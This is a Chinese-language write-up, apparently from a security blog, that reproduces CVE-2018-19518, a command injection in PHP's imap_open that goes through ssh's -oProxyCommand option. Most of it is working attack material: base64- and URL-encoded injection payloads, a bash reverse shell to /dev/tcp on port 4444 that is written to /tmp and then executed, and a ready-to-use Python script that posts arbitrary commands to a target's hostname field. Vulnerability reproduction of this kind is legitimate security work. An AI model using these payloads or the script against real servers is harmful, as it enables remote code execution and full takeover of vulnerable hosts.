0%

CVE-2018-19518

php imap远程命令执行漏洞

前言

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

漏洞复现

输入数据,抓包

1
2
3
4
5
上述中x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}的意思如下

使用url编码解码后x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}
ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=的意思是echo '1234567890'>/tmp/test0001
通过-oProxyCommand参数执行命令,x可以是任意值

反弹shell

这里有很多反弹shell的思路,可以直接传入命令执行反弹shell,但是更稳定的方法是写入反弹shell文件,然后执行反弹shell文件获得稳定控制权限,两种方法都行,看个人的喜好

直接构造payload

1
2
3
4
5
6
7
8
echo "/bin/bash -i >& /dev/tcp/ip/4444 0>&1" > /tmp/123
# base64encode
ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz
# 将base64编码内容替换
x+-oProxyCommand%3decho%09[base64编码内容]|base64%09-d|sh}&username=111&password=222
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz|base64%09-d|sh}
# 将base64编码内容再次进行url编码
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA%2bIC90bXAvMTIz|base64%09-d|sh}

直接提交

使用/bin/bash触发/tmp/123反弹shell脚本

1
2
3
4
5
/bin/bash /tmp/123
# base64encode
L2Jpbi9iYXNoIC90bXAvMTIz
# 替换base64内容后进行url编码
x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvMTIz|base64%09-d|sh}

img

拿到shell

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import base64
from urllib.parse import quote

url = input("请输入url:")
cmd = input("请输入想要执行的命令:")

def exploit(url, cmd):
# base64编码
encodeb64 = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
# url编码
encodeb64_url = quote(encodeb64)
# 构造payload
payload = f"x+-oProxyCommand%3decho%09{encodeb64_url}|base64%09-d|sh"
data = {
"hostname": payload,
"username": 1,
"password": 2
}
response = requests.post(url, data=data)
if response.status_code == 200:
print("[+]利用成功")
print(response.text)
else:
print("利用失败")

if __name__ == "__main__":
exploit(url, cmd)